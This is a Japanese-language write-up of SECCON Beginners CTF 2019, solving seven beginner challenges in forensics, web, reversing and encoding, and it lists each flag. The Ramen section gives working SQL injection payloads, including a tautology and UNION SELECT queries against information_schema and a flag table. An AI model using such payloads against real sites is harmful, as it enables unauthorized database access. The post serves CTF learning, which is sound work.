SECCON Beginners CTF 2019 Writeup
2019年5月25日 (土) 15:00~2019年5月26日 (日) 15:00 (24 時間)開催されていたSECCON BeginnersのWriteupです。 チーム ut で個人で参加していました。7問解いて、152位でした。
Welcome(Misc)
「SECCON Beginners CTFのIRCチャンネルで会いましょう」
問題文に貼られたIRCのチャンネルにログインすると、ページの上部にflagが書かれていました。
ctf4b{welcome_to_seccon_beginners_ctf}
containers(Misc)
「Let’s extract files from the container.」
コンテナのダンプファイル?のようなものが与えられるので(pythonスクリプトで生成したファイルだったみたいです)そこからフラグを何とかして取得する問題でした。とりあえずfileコマンドで見てもわからなかったので、 binwalk にかけてみるとPNGが埋まってるっぽい事がわかったので抜き出します。
$ file e35860e49ca3fa367e456207ebc9ff2f_containers
e35860e49ca3fa367e456207ebc9ff2f_containers: data
$ binwalk e35860e49ca3fa367e456207ebc9ff2f_containers
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
16 0x10 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
107 0x6B Zlib compressed data, compressed
738 0x2E2 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
829 0x33D Zlib compressed data, compressed
1334 0x536 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
1425 0x591 Zlib compressed data, compressed
...
$ binwalk --dd='png' e35860e49ca3fa367e456207ebc9ff2f_containers
抜き出した画像を確認すると、png1枚毎に文字が書かれていてそのままフラグの文字列になりそうでした。
binwalkで抜いた画像のファイル名が16進数表記になっており、macのFinderでソートできなかったため、雑にスクリプトでファイル名を10進数に変換し確認したところ、flag文字列が現れました。
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
Dump(Misc)
「Analyze dump and extract the flag!!」
とりあえずfileコマンドで確認したら、tcpdumpで取得したパケットキャプチャファイルでした。
$ file fc23f13bcf6562e540ed81d1f47710af_dump
fc23f13bcf6562e540ed81d1f47710af_dump: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)
Wiresharkで取り込んで通信を見ているとHTTPのGetリクエストが見えたので、HTTPパケットをHTMLとして書き出したところバイナリ文字列が埋まったHTMLファイルが出てきた。
<html>
<head>
<title>Web Shell</title>
</head>
<pre>
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
244 010 010 050 315 002 110 023 024 244 012 330 005 351 012 012
322 024 245 011 202 205 242 202 212 337 204 216 242 357 175 336
365 177 336 265 376 337 372 346 072 316 231 275 177 173 237 175
366 331 247 346 070 127 106 126 306 331 315 033 355 056 343 351
353 016 374 227 056 030 014 246 050 057 017 245 074 225 024 025
026 236 060 304 342 373 302 045 247 000 207 302 345 344 025 020
162 012 010 230 022 002 012 203 313 301 345 140 000 024 366 337
062 150 355 025 100 366 107 223 100 123 374 321 136 350 277 341
100 230 233 333 137 370 213 105 201 256 074 377 377 345 242 345
241 007 250 000 300 004 215 201 232 131 102 355 240 113 027 205
006 060 202 067 002 274 313 301 233 362 076 372 357 124 152 132
131 131 054 045 051 022 167 301 173 327 057 020 252 045 072 073
000 360 143 210 076 062 150 137 137 157 234 214 067 232 354 037
100 306 141 261 150 177 234 250 271 345 022 366 011 170 363 001
300 346 125 234 137 000 232 204 046 370 343 011 070 100 346 136
256 023 005 164 125 246 207 203 362 364 223 205 301 220 010 025
005 014 032 245 004 103 303 125 314 111 270 100 074 056 110 345
...
数字をよく見ると0~7までの数字しか現れていない事がわかるので8進数表記である事がわかる。試しに頭の数バイトを16進数に変換( 037 213
-> 1F 8B
)しググった所、gzipのマジックナンバーという事がわかる。
pythonで8進数を16進数に変換し、得た16進数のバイナリ文字列をバイナリエディタ(0xED)に入力し保存し、gzipでファイルを解凍したらflagが書かれた画像が現れました。
test_data = open("oct_file.txt", "r")
for line in test_data:
strings = line.rstrip('\n').split(' ')
for oct_str in strings:
number = int(oct_str,8)
hex_str = hex(number)[2:].zfill(2)
print(hex_str)
test_data.close()
ctf4b{hexdump_is_very_useful}
Ramen(Web)
「ラーメン」
webページのURLが公開されているので、アクセスすると検索フォームが1つあるページが現れる。
SQLインジェクションの問題である事がすぐに分かったのでフォームにひたすらクエリを書き込んでいくとflagというテーブルがある事がわかった。
' or 'a'='a' #
' or 'a'='a' UNION SELECT table_name,2 FROM information_schema.tables #
続けて、テーブル構造を読み取りながらflagテーブルの中のflagカラムを取得した所flagが現れた。
' UNION SELECT COLUMN_NAME, 2 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'flag' #
' UNION SELECT flag, flag FROM flag #
ctf4b{a_simple_sql_injection_with_union_select}
katsudon(Web)
「Rails 5.2.1で作られたサイトです。
https://katsudon.quals.beginners.seccon.jp
クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。
フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag
# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end
def show
serial_code = params[:serial_code]
@coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
end
end
」
問題の意図がよくわかりませんでしたが、flagがあるURLにアクセスするとbase64エンコードされた文字列があったので、デコードするとflagが含まれていた。
$ echo 'BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a' | base64 -D
I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}:ETyqu5]Zݮo9
Seccompare(Reversing)
tar.gzが問題として与えられるので解凍、出てきたファイルをfileコマンドで確認。
$ file seccompare
seccompare: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a607c82ea263205071c80295afe633412cda6f7, not stripped
ELFの実行ファイルだったので、Linux上で実行してみるとどうやら入力として正しい文字列を与える必要があるみたいでした。
とりあえず strace や ltrace で振る舞いを確認していた所、flag文字列を発見。
$ ltrace ./seccompare hoge
(0, 0, 27516, 0x7f3c108b27e7, 0x7f3c10ab9658) = 0x7f3c10abc120
strcmp("ctf4b{5tr1ngs_1s_n0t_en0ugh}", "hoge") = -5
puts("wrong"wrong
) = 6
+++ exited (status 0) +++
So Tired(Crypto)
「最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!」
encrypted.txtという名前の暗号ファイルが渡されるので中身を確認するとbase64エンコーディングされてるようでした。 試しにデコード後の結果をfileコマンドで確認するとzlibで圧縮されているようでした。
$ cat encrypted.txt | base64 -D > data
$ file data
data: zlib compressed data
解凍方法を調べていた所、コマンドを作っている方がいらっしゃったので、インストール。
zlibコマンドで先ほどのファイルを解凍すると、更にbase64エンコーディングされたファイルが出てきました。
base64 -> zlib -> base64 -> zlibの繰り返すとファイルサイズがどんどん小さくなるので、単純に圧縮しているだけなのでは?と当たりをつけて雑にスクリプトを書いて繰り返し実行した所、flagがでてきました。
while :
do
cat base64file | base64 -D > zlibfile
echo $(cat zlibfile | grep 'ctf4b')
zlib --decompress < zlibfile > base64file
echo $(cat base64file | grep 'ctf4b')
echo $(cat zlibfile | wc -l)
done
$ ./decrypt.sh
969
1123
...
2
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
0
Invalid character in input stream.
所感
個人的な都合で土曜日の半日しか参加できませんでしたが、Beginnersという事もあり、普段より解ける問題が多く楽しかったです。 まだまだツールがうまく使えていないのと、PwnやReversingが勉強不足で解き方がわからないので、きちんと機会を作って苦手分野も克服したいです。